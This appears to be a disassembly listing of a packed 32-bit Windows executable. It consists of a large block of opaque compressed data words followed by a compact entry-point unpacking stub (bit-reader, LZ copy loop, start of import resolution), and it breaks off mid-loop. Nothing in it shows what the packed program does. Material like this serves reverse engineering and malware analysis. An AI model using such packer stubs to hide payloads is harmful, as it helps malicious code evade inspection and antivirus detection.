		dd 0BFF63848h, 54B5B33Ch, 785F72F5h, 8D76B51Eh,	4C99A573h
		dd 657F27A5h, 95555260h, 0FF443593h, 5C8A7C53h,	34502FF4h
		dd 445A2A4Bh, 8871F570h, 0AF34177Ah, 34C841C5h,	52A392FEh
		dd 0AE916B6Bh, 9036A297h, 732FFEA8h, 0E2974266h, 7A43F47Dh
		dd 0CAD5173Bh, 704842A4h, 74BFDD95h, 434B9BA2h,	762DEFBDh
		dd 9A85D8F8h, 85FC3C48h, 5C962139h, 507CA3F3h, 5396D9FAh
		dd 708B494Ah, 5AA07EF4h, 51352F74h, 440AED29h, 302FAAB4h
		dd 2C45045Dh, 0F5726C5Ch, 61C93C2Dh, 630A286Dh,	64C4086Dh
		dd 571824FAh, 76146209h, 0B8DC08B2h, 668930A1h,	0D2706E6Ch
		dd 0D654FD88h, 0F56788F4h, 0C304084Dh, 512056h,	53249A08h
		dd 0C57427ACh, 4F78D63Fh, 0AE95595h, 0C382469h,	8A46E70h
		dd 4A1C29D0h, 0F028E217h, 858FB64h, 0F7ED8673h,	72747284h
		dd 0B9CC859Bh, 114F08D6h, 989A3CA0h, 8AFC0832h,	9C6014A5h
		dd 0F473721Ch, 71951023h, 0F5758A08h, 0D026EE4Bh, 51B40C40h
		dd 728A60A4h, 7761C208h, 0E1747018h, 181D2519h,	968E6A24h
		dd 6F98211Ah, 7B9008F5h, 0B05AAB96h, 0A5D873A8h, 0CA3811FCh
		dd 8038C999h, 0F666C4E7h, 96BED790h, 108E2403h,	0D0F370B5h
		dd 0AEA42043h, 8424F336h, 3AC2BF54h, 0E27E603Ah, 0A83D24CDh
		dd 5A126689h, 0B2570C32h, 0D5103A61h, 1C1E15E2h, 909C20D3h
		dd 55634667h, 8B827BF4h, 0FCB0D670h, 1CA24C4Fh,	0B65D6C27h
		dd 10769D6Ah, 613C104Ch, 79742645h, 0F8C42E3Eh,	0B6EB2824h
		dd 6B484114h, 5BC05CA1h, 444D1A43h, 9E5DF15Dh, 0AFF8A566h
		dd 0BD6AA14Ah, 33E1101Ch, 4C1FDA0Ch, 946C4D8Ch,	6E48AD96h
		dd 9F24B519h, 8212F24h,	0F8B272A6h, 0A486566h, 0CB087075h
		dd 0B4C57AEAh, 0F19508A2h, 637313D0h, 0CEC470ECh, 0D8937BD4h
		dd 67336285h, 0FDF0827h, 0D33CF430h, 0CF084610h, 4A665579h
		dd 65A95427h, 0A614225Ch, 0D24EA268h, 0B50C8C9Fh, 6FEB030Eh
		dd 0E6FDB06Eh, 67244E33h, 74EB98D0h, 0A414C9B4h, 0D3B033FFh
		dd 58BBFCB8h, 836CE6DAh, 0DF89B792h, 0CF2D9665h, 2C2EE8BCh
		dd 0AC31A378h, 16FAC868h, 690C7277h, 64C2BCBBh,	0F1249432h
		dd 913BB86Eh, 330E7B0Ch
		dd 10316D72h, 6813AAF4h, 42E3DCDDh, 0AA4C0822h,	70361B41h
		dd 0D9346816h, 73129F98h, 0BC10942Fh, 0B1D65318h, 0DCCB9E97h
		dd 0CEDA2597h, 0B43C7CE1h, 23C91E2h, 9E6A9F72h,	7D46327Dh
		dd 0F36BBC33h, 9414D472h, 0FEA72877h, 1F162357h, 432832FDh
		dd 34160E8Bh, 0A46828F9h, 0D120C84h, 1C0B103Dh,	6D38126Dh
		dd 0B88AF4B0h, 0AC74021Ch, 0D359AACFh, 0A7E079BEh, 0C5D0D03Fh
		dd 49671F5Ch, 6912507Ah, 942F59F3h, 39458634h, 80657502h
		dd 55A16070h, 27AC5044h, 3A523CBEh, 79F4016Ch, 28486E1Fh
		dd 3CE6F553h, 2822A3E5h, 0DD04649Bh, 8F44F273h,	783D53A5h
		dd 0E5722418h, 1F17312Ah, 0F8285474h, 3CF3F5A9h, 6CD023A4h
		dd 0EECF7A97h, 0ECEE5316h, 8CBCA69Ch, 680239CAh, 0FA0C7424h
		dd 7213DCCAh, 0F44FE168h, 60211E21h, 8A91548h, 0F227E048h
		dd 341F245Eh, 0C6F75AD4h, 0EF2C8674h, 9A341D42h, 3414312Ch
		dd 64B45C29h, 6C144B24h, 14455EBAh, 18671DB4h, 0E9A711DEh
		dd 0DAD130C6h, 0E9109308h, 6548DA14h, 752CBDB8h, 7464E418h
		dd 0BBD4D894h, 723EDCA3h, 96754A46h, 0F4EE94EEh, 60F92431h
		dd 8A228CDh, 104AA133h,	1C04B72Dh, 0F3E2D98Dh, 0AD5D3CEDh
		dd 6425287Ch, 0EC2D4B04h, 0D427DC38h, 0DFF64B14h, 0F1407B25h
		dd 0BA92AD43h, 8A8BD578h, 3BF7DFC2h, 5D2141E7h,	0ADDCEC3Ah
		dd 0BD93440Eh, 86F9D200h, 4206A296h, 77029A41h,	0B7D42471h
		dd 0A84F859Bh, 1AB980E2h, 6D5E99D0h, 43057D4Fh,	2B544148h
		dd 0CDFB9384h, 0E653AB8h, 1A9521ECh, 1C9551D0h,	0AF8F5BBAh
		dd 0D838AEB5h, 0FC507A01h, 2715DE47h, 0D2B5C6Ah, 7FA7F8F9h
		dd 0FD6AFC84h, 0DA6C4912h, 850B5FBBh, 1D9145Eh,	5341C26Fh
		dd 3F2350DCh, 7E115638h, 0AF760493h, 0E77274Eh,	7654143Fh
		dd 68915795h, 4D32C533h, 737DC27Ch, 0ACD12D14h,	9BDC9DFCh
		dd 0FEF05927h, 3339D8ACh, 0B8E24A35h, 0C44E8842h, 0DC29ABAAh
		dd 4A249E6Eh, 94428EE2h, 0DC930AB9h, 964C4B15h,	19D8C4EDh
		dd 0E8DC3334h, 5E3230C9h, 1728723Ch, 0D54F1F88h, 0AF950D47h
		dd 9F637DCh, 0E954D357h, 0C8B4F15Dh, 0BD800006h, 7D8AAFA8h
		dd 0BE11C909h, 40D057F4h, 31892934h, 0FCB4F9AEh, 0AE80D218h
		dd 0B0C0F0A7h, 0CA975201h, 11D05907h, 0A000D5A8h, 50800DC9h
		dd 261451h, 371D55B5h, 0AB46C5C1h, 8F637901h, 69E8682Ah
		dd 563CCB2Bh, 66EC1214h, 8E4C30Dh, 29DC4013h, 910CD411h
		dd 91C423CCh, 91B423BCh, 81A422ACh, 119A9C7Ch, 9C110994h
		dd 7C119988h, 19BD0309h, 8ABCF94Ah, 845B0C64h, 187A5049h
		dd 69086453h, 0C876DC21h, 1055B808h, 10152035h,	5A5A49B3h
		dd 8126010h, 19D42009h,	7E6B08C8h, 6455BEE4h, 0F86F11A5h
		dd 0A50076C9h, 0BDB45243h, 90F39237h, 0F48D2FA9h, 3C43CA63h
		dd 5A2EB64Ah, 0FD74C051h, 0A840341Bh, 3DBA9D6Eh, 0E9FDF46Ch
		dd 97967863h, 6C79D2BBh, 0F8CF9D7h, 99F66854h, 0BF69DD54h
		dd 5A753D83h, 76646722h, 68206872h, 912EBC7h, 0F92D41D4h
		dd 0AB51AF1Eh, 0D5A72468h, 634ECA14h, 110926EAh, 61A86997h
		dd 0D43292F6h, 2DED530Bh, 0C82EBA51h, 9B14909Bh, 0B17C4FA0h
		dd 29210EEAh, 2672802Eh, 6BF66D7Ch, 0A72D56Bh, 0F549FCBEh
		dd 0AC3EAD62h, 0D8B93EE7h, 6365F8DAh, 24EA4CB7h, 27D8F32Fh
		dd 2361287Fh, 8C08D0AFh, 5E539785h, 0CA9D2220h,	0E8E45F47h
		dd 940823F1h, 6674A4C7h, 0E7EF4274h, 0B2B043A4h, 0D5F97F64h
		dd 0D0D0D73Bh, 0FD702DBCh, 44361093h, 57348B61h, 1A691B72h
		dd 40045542h, 0DACEA666h, 23443585h, 0F29C483Eh, 40296F74h
		dd 0AFE4857Ch, 0E5A1427Bh, 5F584A72h, 0C25DEE6Ah, 24B19596h
		dd 9771AD44h, 45204F5Ah, 0BC5A2569h, 0A42C8A92h, 1468FF4Eh
		dd 21B876D7h, 0D22AADD3h, 0A74F142Eh, 1BC4451Eh, 70AC5E81h
		dd 0A0A69B48h, 839DF095h, 0B149D751h, 0CCB5630Ah, 4DB3BBEEh
		dd 0D89438Ah, 7FDE446Ch, 68C47487h, 416FA2FBh, 0FD742FDCh
		dd 0B24A419Bh, 17DC9A0Eh, 642AA98Ch, 63CEA469h,	9B2E6B40h
		dd 59CC98Ch, 0F92482B3h, 5FF5B25Ah, 301A05BAh, 291243AFh
		dd 543532D9h, 5C9969DBh, 0FC66575Ah, 87ACCE9Dh,	0B54CA7ABh
		dd 619B2C83h, 173E1469h, 4C57A5E7h, 68E89330h, 0B4D57A34h
		dd 0CDC0AFCEh, 0F7122EDFh, 28DB2BC4h, 1B6AF1D2h, 0CF253E54h
		dd 0F2D77BFh, 1259AD3Eh, 4A0B154Eh, 1D29C9AEh, 520C1818h
		dd 18352893h, 1819E5D9h, 0C19E075h, 20F553FEh, 0F8F69D0Bh
		dd 664794C8h, 0B43CDC99h, 87F7FB4Dh, 0EDDE6E56h, 38B31BDFh
		dd 2F4A3A74h, 9BA596DCh, 5C25DB2Ah, 3441ABA0h, 0D000CE2Fh
		dd 1028E968h, 0E9479F6h, 2D44A0D2h, 0DD533431h,	6329518h
		dd 0B75361Bh, 5E90F2D4h, 0D959080Ah, 5B5C672Dh,	0EB2BBBDh
		dd 91899D2h, 0B9CD2F1Eh, 2D52039Fh, 1A6D1DFEh, 114E011Bh
		dd 647FA8C6h, 95630C44h, 0D73C2F3Ah, 0AE0974BAh, 1052646Eh
		dd 4F4419ADh, 0AD805213h, 0E96B341Bh, 975EF071h, 356534ABh
		dd 5CA420ABh, 0A2CC8520h, 0E9573F50h, 962B6BD5h, 4D09286Fh
		dd 922E7861h, 0F36175B1h, 0A0124965h, 27644250h, 0AFB4C52h
		dd 0C41775AFh, 0D8CDBF43h, 0B9F2C725h, 6C895728h, 4779736Bh
		dd 53471AA6h, 0B5B85909h, 4064AE1Ch, 4A611472h,	661907B0h
		dd 10A33B1Ah, 974A6E94h, 0EF69C9AAh, 0CCC3E4Eh,	3B60AC73h
		dd 0A8CA6142h, 8134B47Eh, 14721A24h, 0B5B49C41h, 1052B9FEh
		dd 0FD6F4876h, 0DE71FFFAh, 0BC7E29EDh, 5CB57994h, 0AD48A15Ch
		dd 751E33DFh, 2F78F3F0h, 0AE4712DCh, 0F6557062h, 0D2D2CB20h
		dd 537952F5h, 111414AFh, 462503E6h, 57A00B75h, 11181162h
		dd 5DE36341h, 771CAFA9h, 0C1929712h, 0EA8759F5h, 412EFEC0h
		dd 0B52E36Eh, 7601099Dh, 6626970h, 76A40979h, 7C182869h
		dd 52F8472Fh, 55442B65h, 644ECBCAh, 4A92A355h, 4FAE0610h
		dd 853A5863h, 0ABCA75FAh, 8F71C839h, 65F92D6Eh,	73DA0DA0h
		dd 0BDCE5C27h, 37D09032h, 0AE3852E4h, 63CBA875h, 0D2009A96h
		dd 0FC4A44DDh, 12FA264Fh, 25EBE595h, 28692014h,	0B53F456Ah
		dd 773BB8C0h, 0DC2D38A7h, 657945F5h, 2ECB212Fh,	3E985D29h
		dd 294EB4E2h, 9C3A380Ch, 0EE69ECABh, 48238585h,	0BB6F9724h
		dd 9D14F799h, 0BCF829FEh, 2652ED1Ch, 71208519h,	0A0029C6Dh
		dd 0F40ED09Fh, 1796774Ah, 93EE5965h, 8A61984h, 59F78E82h
		dd 4E922724h, 5B09F9AAh, 764DBA42h, 65AAA293h, 69926479h
		dd 0C6366CD2h, 4A0A99CAh, 0F1DFDA5Ah, 0AE092751h, 49EB7957h
		dd 744925E5h, 4C4E5366h, 0E16FAC8Ah, 0C4899B2h,	2AF544E8h
		dd 0C53C25EEh, 526ECA08h, 0BDCF9424h, 0CB99C804h, 325C1538h
		dd 346F4ECAh, 7887EFE8h, 479A5F7Bh, 6A42D89Bh, 0B5D9D2CFh
		dd 6D5F91A5h, 0B72E1308h, 496742B0h, 0B829A456h, 2E25FA0Bh
		dd 3CC5D895h, 3E34A4CEh, 0FD64AF1Ah, 0ED3C0E51h, 4A289A2Eh
		dd 712A8ABFh, 4EF07953h, 29642131h, 4460323Eh, 0C582CA77h
		dd 10F1AD67h, 0ECB5BFF6h, 0BF5638A1h, 3C21F0B5h, 0E4BAFFD2h
		dd 6271E1Bh, 0E954763Ah, 25BA5355h, 40C8CC48h, 0ABDC4170h
		dd 20CCD565h, 26D42395h, 6D284141h, 0A960742Bh,	287334DCh
		dd 4008CAEEh, 9C60401h,	97284211h, 18EFE78h, 86090566h
		dd 8F049729h, 500B5C69h, 7C604943h, 0DBF4C93Bh,	4B32210Ch
		dd 0F9641933h, 7778363Dh, 1CFEBF4Dh, 3AFF2F75h,	58F1FFB0h
		dd 0E7534EDEh, 39FE5FFEh
		dd 65A72B9Dh, 0E3766012h, 85829D8h, 50325491h, 48244C09h
		dd 5C3A4442h, 0FD302406h, 2B4511BFh, 116DE8F2h,	741CA598h
		dd 0FD2D5D30h, 54B5AD9Eh, 551E9EAh, 948BD425h, 4CBB442Eh
		dd 9734D340h, 0FF5971C9h, 0F900B32Bh, 6B383709h, 4AD25339h
		dd 73BD7C42h, 1F3545E9h, 3773E278h, 0CF3F7344h,	1576A941h
		dd 0FB7F5A70h, 4FEC6A23h, 0E67D52ABh, 2D03945Eh, 66E29EB2h
		dd 8525F8FDh, 3C325A50h, 5369E2F1h, 485A2244h, 5EEB1453h
		dd 5242AF8Fh, 0BEF55046h, 0FCD111F7h, 11FA5BAFh, 45ABF006h
		dd 652D2E35h, 24A4300Ah, 0BB38242Bh, 0E86F8D2Dh, 5918A688h
		dd 75AF284Eh, 85F16449h, 0BD856325h, 4878A0E2h,	69FA0024h
		dd 91B53C7Fh, 7C84F4B4h, 477E6C93h, 2655BC72h, 5D6E726Eh
		dd 26DE9821h, 576E6E75h, 255F14A4h, 184AF6FCh, 91FD285Fh
		dd 5983D313h, 2EB091Ch,	0F9E80583h, 5B0203FFh, 0B966C931h
		dd 73800E0Fh, 0E243A20Eh, 64189EF9h, 360C2DB1h,	0C0330102h
		dd 30400364h, 0DE57FE78h, 883CF6Ch, 0A1F09EBh, 7CD98D34h
		dd 0D0F83C0Ch, 0CA0BCE03h, 0D37848A7h, 0DAEB2041h, 331C59E8h
		dd 0F638FF72h, 0C27E057h, 54798110h, 3F41F00Ah,	33300275h
		dd 54740316h, 0E726822h, 4C0833Bh, 8561C36Eh, 0D1DB74F6h
		dd 3D7D0FFh, 0FA0DF272h, 0D112E857h, 35327FF2h,	2D1CFC57h
		dd 0E4FAE5Dh, 17E8066Ah, 1751E33h, 0AD642DC3h, 850721C8h
		dd 40ED840Fh, 5B58C3A6h, 8314505Dh, 39F54ECh, 488DFC8Bh
		dd 0F3D7A840h, 44B003AAh, 515257ABh, 0C9286A89h, 550C8001h
		dd 83D6FF53h, 85540CC4h, 2D67C3C0h, 9A9D5B79h, 25325708h
		dd 0ECDBA54h, 4B1D9E2Fh, 0CA2EC899h, 3CADA5F9h,	0A8A33FF2h
		dd 8229875h, 5F3B1C73h,	0C6521141h, 0A201B3Fh, 19930520h
		dd 3880DB2Fh, 249E4178h, 4216F041h, 984E0C1h, 36437D7Ah
		dd 90028F5Dh, 57E8B728h, 1011489Ch, 0E88584ECh,	4B81D122h
		dd 7E012102h, 82144087h, 1702B202h, 0C0C83CE8h,	52550121h
		dd 2E535C44h, 20102208h, 144403F8h, 28174CA8h, 0A4111D32h
		dd 0A0481A24h, 98221B91h, 89901F44h, 24881213h,	91804821h
		dd 4478220Eh, 0F89700Dh, 58286812h, 5116019h, 1E245812h
		dd 12915448h, 20445022h, 120C894Ch, 480B2444h, 2215913Ch
		dd 2C1C4434h, 24121989h, 1C481124h, 14221891h, 8B0C1644h
		dd 910448DCh, 23897022h, 216FC11h, 50F82424h, 7FF08701h
		dd 0FFF86208h, 104CEF31h, 45139110h, 10086180h,	0B8297B44h
		dd 0A302890h, 441DEF9h,	0EB024E5Eh, 9C0A84DBh, 810441ABh
		dd 0D2D0920h, 4821BA5Dh, 402A06Ch, 0A408A108h, 39606424h
		dd 21297982h, 0DFA68A18h, 0A5A14208h, 219F8130h, 4004FCE0h
		dd 0A833807Eh, 0A3C1610Eh, 0B06A53DAh, 8AFE8111h, 0B5650840h
		dd 41C8302Eh, 0CF43B6E4h, 8394E4A2h, 0E8B3E5E8h, 60B55BC2h
		dd 0AA17E0Ah, 905518Ch,	0CE5E72DAh, 6ACF5FC0h, 45C3208h
		dd 0E0DED8D3h, 7E3106F9h, 45649174h, 74A8F616h,	97CF9CBEh
		dd 0BE1890D8h, 3411C984h, 9099106h, 0C440722h, 4708A608h
		dd 1C0A2909h, 16F20B90h, 8053C9Ah, 1058320Fh, 12111499h
		dd 4049A12h, 35722118h,	1C411099h, 50538E43h, 18522934h
		dd 0CA085394h, 59656057h, 996C7C32h, 20126D18h,	1C487024h
		dd 0CAAC7295h, 80653006h, 9981B472h, 204C8208h,	84538E83h
		dd 44912248h, 10A69E29h, 2990A157h, 0A79170A4h,	0E5A0B7CAh
		dd 0D72032CEh, 93071838h, 1205100Ch, 84730BC0h,	419231Dh
		dd 8DF29690h, 8E720824h, 0C88F431Eh, 0F917990h,	93E49221h
		dd 9893033Ch, 8C220A91h, 1A345699h, 1AF0A460h, 9AAC9142h
		dd 0FC1910C4h, 2810A298h, 18BB7478h, 0D02C481Eh, 0B08B18C7h
		dd 0BB19F410h, 2CC81E58h, 8B90C7E0h, 0E268F831h, 307D88ECh
		dd 18F82E8Ch, 11D0C618h, 89C07844h, 24B01279h, 91A0487Ah
		dd 694074FCh, 859089FFh, 4697A021h, 809B034h, 9655C701h
		dd 25242E10h, 72B45902h, 8D0203Ch, 1CFAAE01h, 26232694h
		dd 0FC018B8Dh, 9C352405h, 9DF40C0h, 30620397h, 183CC981h
		dd 2022E077h, 4D807F44h, 0F0868C70h, 501538F1h,	0FB845453h
		dd 40445015h, 872C0EFAh, 9D6C0E43h, 0CFF7A521h,	0C81021ECh
		dd 221E110Ch, 0E15A703Bh, 9732A463h, 0D424B509h, 1195F348h
		dd 93032D5h, 516D244Eh,	4C3A8934h, 0BC775D6Ch, 22B4119Ch
		dd 9F266D3h, 2F645110h,	6C4B4D09h, 0A004A115h, 0C82C4002h
		dd 840C0552h, 0E42D08FAh, 84850C9Ch, 2C0FC350h,	12F42124h
		dd 98968040h, 20028516h, 3019BEBCh, 0C908BF04h,	40348E1Bh
		dd 0CECCEDA1h, 0D33EC2F6h, 0F020004Eh, 2B70B59Eh, 0C5AD0FA8h
		dd 0D080699Dh, 0E525FD5Dh, 4F8E1A03h, 0E083EB19h, 0D79671h
		dd 50E4395h, 9EAF298Dh,	0BF01F9F8h, 81ED44A0h, 82CC8F12h
		dd 3CECF9B9h, 0CFA603D5h, 781F49FFh, 6F007A7Ch,	0E98CE0C6h
		dd 47C980h, 41A893BAh, 556B85BCh, 8D392700h, 7CE070F7h
		dd 0DDF842h, 9DF9DE8Eh,	0AA7EEBFBh, 0A1435100h,	0CCE376E6h
		dd 2F2900F2h, 44268184h, 170E1028h, 0A1AEF8AAh,	0FAC4C5E3h
		dd 1DA7EBF0h, 40F7F3D4h, 957A4AE1h, 650045CFh, 0E91C7CCh
		dd 7A0AEA6h, 46A3E319h,	0C17D00Dh, 86738175h, 48C97600h
		dd 0E442584Dh, 399300A7h, 0B2B8353Bh, 0E8FB53EDh, 3D395DE5h
		dd 8B07FDC5h, 0FF5A929Eh, 0A1F0A6A0h, 54C00020h, 61378CA5h
		dd 8B39FDD1h, 25D8005Ah, 0DBF9895Dh, 95AA0067h,	0BF27F3F8h
		dd 0DDFAC8A2h, 4C6E8000h, 20979BC9h, 5202028Ah,	7525C460h
		dd 0CCCDFB90h, 800104D0h, 3D713FFBh, 0A3D7140Ah, 0F83E0570h
		dd 3B645A00h, 978D4FDFh, 83126E0Fh, 0D3C380F5h,	319652Ch
		dd 0B71758E2h, 0D0E0F1D1h, 841C230Fh, 0AC831B47h, 0E0EEA7C5h
		dd 0B6A640h, 5AF6C69h, 0EB8637BDh, 3D0033F8h, 0E57A42BCh
		dd 3EBF94D5h, 0C21CE7D6h, 61CE40FDh, 0CC771184h, 0E4AB3Eh
		dd 0E15B4C2Fh, 0FBEC44Dh, 0C9E69594h, 5300928Fh, 0CD44753Bh
		dd 9A3E147Eh, 67DE00AFh, 453994BAh, 0B11E1DADh,	2403FECFh
		dd 0BCE2C623h, 61313BF8h, 747A8B3Eh, 0C1595500h, 7C53B17Eh
		dd 5FBB3E12h, 2FEED700h, 92BE068Dh, 0FB15850Dh,	0A5F84844h
		dd 73973E9h, 0A87FEA27h, 0AC7DC02Ah, 0BC00E4A1h, 0D0467C64h
		dd 3E55DDh, 0CC067B63h,	83775423h, 8191FF0Eh, 3AFA603Dh
		dd 637A19h, 0C0314325h,	89213CACh, 8238D103h, 80B89747h
		dd 3BD7FDh, 85888DCh, 0E3E8B11Bh, 3A6861Fh, 4584C600h
		dd 0B60742h, 0DB377599h, 71333A2Eh, 23D21C1Eh, 49EE3200h
		dd 395A90h, 0C0BE87A6h,	82A5DA57h, 0B500A2F0h, 0B268E232h
		dd 52A711h, 0B759449Fh,	49252C10h, 362DE400h, 0AE534F34h
		dd 6B7BCEh, 0A404598Fh,	7DC2DEC0h, 0C6E8FB00h, 88E79E1Eh
		dd 9157005Ah, 8350BF3Ch, 4E071822h, 0FD62654Bh,	6AF8F80h
		dd 117D3094h, 0CE9FDE5Ch, 4C8D202h, 75D8A6DDh, 1CB48C10h
		dd 2E609CB6h, 2556413Fh, 0BC7A7865h, 404D0797h,	0FD7A181Ah
		dd 5F5ED4E4h, 0B5408B88h, 3C461E63h, 0D76CCB38h, 21342FEAh
		dd 50272087h, 735F7423h, 0E9F69566h, 0FD7220A1h, 0FD5FCC25h
		dd 43336BAEh, 10000D0h,	4211AC1Ch, 32535701h, 2ECC335Fh
		dd 0E06C7164h, 0DD747002h, 6739503h, 0A901521h,	0D9061DFh
		dd 346401C8h, 12191632h, 4386970Ch, 9009210Bh, 6404C817h
		dd 19133210h, 8E980903h
		dd 454BF810h, 0A94E5239h, 4A877E4Ch, 78F37465h,	6F43A169h
		dd 7250C9F7h, 73F963D5h, 0D568843h, 69766E27h, 0FF6DD51Ch
		dd 61CFBFC7h, 629EF93Eh, 3419C6Ch, 706D6F46h, 53301A79h
		dd 676E2274h, 140FAD57h, 64813641h, 0FB46664Fh,	4C0F5870h
		dd 95614273h, 0D3C6854h, 8BD5247h, 1F4F0D06h, 36686E55h
		dd 0B3E74C54h, 0FB70E0F2h, 69D06E69h, 4938F3FFh, 687375B0h
		dd 0E14240A1h, 2043C766h, 64BE628Ah, 0AA2EA848h, 54416C48h
		dd 57F97079h, 41210F5Ah, 0D833A20h, 9A373643h, 50A1289h
		dd 0CE1A758Fh, 84DD3638h, 57732942h, 9108D217h,	2E523FDFh
		dd 324848E2h, 54FB6854h, 0BE391ED3h, 5D6B6394h,	0B6D0BA9Eh
		dd 8506779h, 6DECEE66h,	73A463E8h, 0F3181ED1h, 71763646h
		dd 79531226h, 736376ABh, 7B446D48h, 0DF637CCAh,	9ECB6940h
		dd 61197E4Ch, 546DB06Ch, 24B914BFh, 75502470h, 42183F21h
		dd 6F545079h, 646A5778h, 0AA3341B0h, 6DFF5355h,	7C6FE875h
		dd 51EEAE73h, 4AA2A25Ah, 0CE577A16h, 0A6797324h, 8C50DF4Eh
		dd 7068697Ah, 1DA1B151h, 4D486422h, 0FAC689Fh, 132447B4h
		dd 0A446720Ah, 3C0F554Fh, 1F8D7844h, 7EA9E84Ch,	22A1FF45h
		dd 0C802A94Ah, 1F531D45h, 1D0CAB7Ah, 8C2AA441h,	73467562h
		dd 94972C9h, 0A20A0833h, 34A0154Dh, 33C48262h, 151943F3h
		dd 46CAF490h, 9E37680Fh, 4F78D44Eh, 14690E91h, 650F1208h
		dd 50672156h, 5F46FA6Fh, 76874F50h, 0FA8B1490h,	537D85FEh
		dd 515332EBh, 781B04A4h, 0B4E74C15h, 0AB111E21h, 7A41E32Fh
		dd 9C706AC0h, 6547C3C7h, 51AFB876h, 0ED284F9Dh,	45D64C51h
		dd 0C9A47457h, 0C764E52Fh, 1973A7F7h, 87AC4F1Ch, 3799B18Ah
		dd 3239BB4Dh, 414A1F67h, 94A46201h, 840E34F9h, 4C0D322Bh
		dd 6E580B83h, 56704C02h, 0CE776569h, 0E505338h,	4DE3B1D4h
		dd 679E3044h, 23A9FAA5h, 0B40C4A94h, 0C2DD2B24h, 15A14EA4h
		dd 0BB488970h, 0A283A9B9h, 54912473h, 0F8701B8Eh, 1A4168F3h
		dd 336BF9EEh, 75478733h, 63876C57h, 84334EFDh, 72754383h
		dd 2DB1A38Eh, 69657948h, 0BCA87799h, 622CAAA4h,	69F314D9h
		dd 0D42DB24Dh, 0DB48A6FCh, 38683726h, 0CFCA64CAh, 567A52C6h
		dd 6247186Eh, 0D16449C5h, 4879706Ah, 61695A2Ah,	53922584h
		dd 4F1ECC58h, 9B6A4962h, 4D2A8247h, 57EDCACCh, 3A6D1A81h
		dd 23249D47h, 0CB657614h, 41383A5Ah, 4D624D69h,	0C6596D91h
		dd 99727765h, 0F3F1D04h, 0DF98488Fh, 96E490Bh, 679BB9BDh
		dd 44241632h, 40B4363Fh, 70CA4B63h, 0D794EC41h,	628B0A51h
		dd 497455AAh, 0B13577E9h, 5A895232h, 0A43F1108h, 6D49A412h
		dd 0D001332Fh, 52523E38h, 0D0B95844h, 702C50A3h, 0A08A6FAEh
		dd 794B33CAh, 62418824h, 4437257Ah, 7CC68114h, 430C7954h
		dd 1AB80691h, 6B7D6959h, 0C1C4747h, 855C5B42h, 17141696h
		dd 5593231Eh, 910B9BE7h, 418A7F94h, 4F26C066h, 0D2AE6A43h
		dd 57590DE8h, 0A4508B4Ch, 410A8196h, 190716A0h,	134D454Fh
		dd 0A9CF2958h, 0B0A63E73h
; ---------------------------------------------------------------------------
		pusha
		add	eax, [eax]
; START	OF FUNCTION CHUNK FOR start

loc_484B53:				; CODE XREF: start+272j
		mov	ebx, 4001D0h
		mov	edi, offset sub_401000
		mov	esi, offset dword_46B000

loc_484B62:				; CODE XREF: start-154Ej
		push	ebx
		mov	ebx, offset sub_484BE2
		mov	dl, 80h

loc_484B6A:				; CODE XREF: start-15E4j
		movsb
		mov	dh, 80h

loc_484B6D:				; CODE XREF: start-15C8j start-157Fj
		call	ebx ; sub_484BE2
		jnb	short loc_484B6A
		xor	ecx, ecx
		call	ebx ; sub_484BE2
		jnb	short loc_484B8D
		xor	eax, eax
		call	ebx ; sub_484BE2
		jnb	short loc_484BA0
		mov	dh, 80h
		inc	ecx
		mov	al, 10h

loc_484B82:				; CODE XREF: start-15CDj
		call	ebx ; sub_484BE2
		adc	al, al
		jnb	short loc_484B82
		jnz	short loc_484BCC
		stosb
		jmp	short loc_484B6D
; ---------------------------------------------------------------------------

loc_484B8D:				; CODE XREF: start-15DEj
		call	sub_484BD8
		add	dh, dh
		sbb	ecx, 1
		jnz	short loc_484BA9
		call	sub_484BD6
		jmp	short loc_484BC8
; ---------------------------------------------------------------------------

loc_484BA0:				; CODE XREF: start-15D8j
		lodsb
		shr	eax, 1
		jz	short loc_484BED
		adc	ecx, ecx
		jmp	short loc_484BC5
; ---------------------------------------------------------------------------

loc_484BA9:				; CODE XREF: start-15BCj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_484BD6
		cmp	eax, 7D00h
		jnb	short loc_484BC5
		cmp	ah, 5
		jnb	short loc_484BC6
		cmp	eax, 7Fh
		ja	short loc_484BC7

loc_484BC5:				; CODE XREF: start-15ACj start-159Aj
		inc	ecx

loc_484BC6:				; CODE XREF: start-1595j
		inc	ecx

loc_484BC7:				; CODE XREF: start-1590j
		xchg	eax, ebp

loc_484BC8:				; CODE XREF: start-15B5j
		mov	eax, ebp
		mov	dh, 0

loc_484BCC:				; CODE XREF: start-15CBj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_484B6D
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_484BD6	proc near		; CODE XREF: start-15BAp start-15A4p
		xor	ecx, ecx
sub_484BD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_484BD8	proc near		; CODE XREF: start:loc_484B8Dp
		inc	ecx

loc_484BD9:				; CODE XREF: sub_484BD8+7j
		call	ebx ; sub_484BE2
		adc	ecx, ecx
		call	ebx ; sub_484BE2
		jb	short loc_484BD9
		retn
sub_484BD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_484BE2	proc near		; CODE XREF: start:loc_484B6Dp
					; start-15E0p ...
		add	dl, dl
		jnz	short locret_484BEB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_484BEB:				; CODE XREF: sub_484BE2+2j
		retn
sub_484BE2	endp

; ---------------------------------------------------------------------------
		pop	ebx
; START	OF FUNCTION CHUNK FOR start

loc_484BED:				; CODE XREF: start-15B0j
		pop	ebx
		movzx	edi, word ptr [ebx]
		dec	edi
		jz	short loc_484BFC
		dec	edi
		jz	short loc_484C0A
		shl	edi, 0Ch
		jmp	short loc_484C03
; ---------------------------------------------------------------------------

loc_484BFC:				; CODE XREF: start-1561j
		mov	edi, [ebx+2]
		push	edi
		add	ebx, 4

loc_484C03:				; CODE XREF: start-1559j
		inc	ebx
		inc	ebx
		jmp	loc_484B62
; ---------------------------------------------------------------------------

loc_484C0A:				; CODE XREF: start-155Ej
		pop	edi
		mov	ebx, offset word_484C6A

loc_484C10:				; CODE XREF: start-1534j
		inc	edi
		mov	esi, [edi]
		scasd
		push	edi
		call	dword ptr [ebx]
		xchg	eax, ebp

loc_484C18:				; CODE XREF: start-1516j
		xor	eax, eax

loc_484C1A:				; CODE XREF: start-1538j
		scasb
		jnz	short loc_484C1A
		dec	byte ptr [edi]
		jz	short loc_484C10
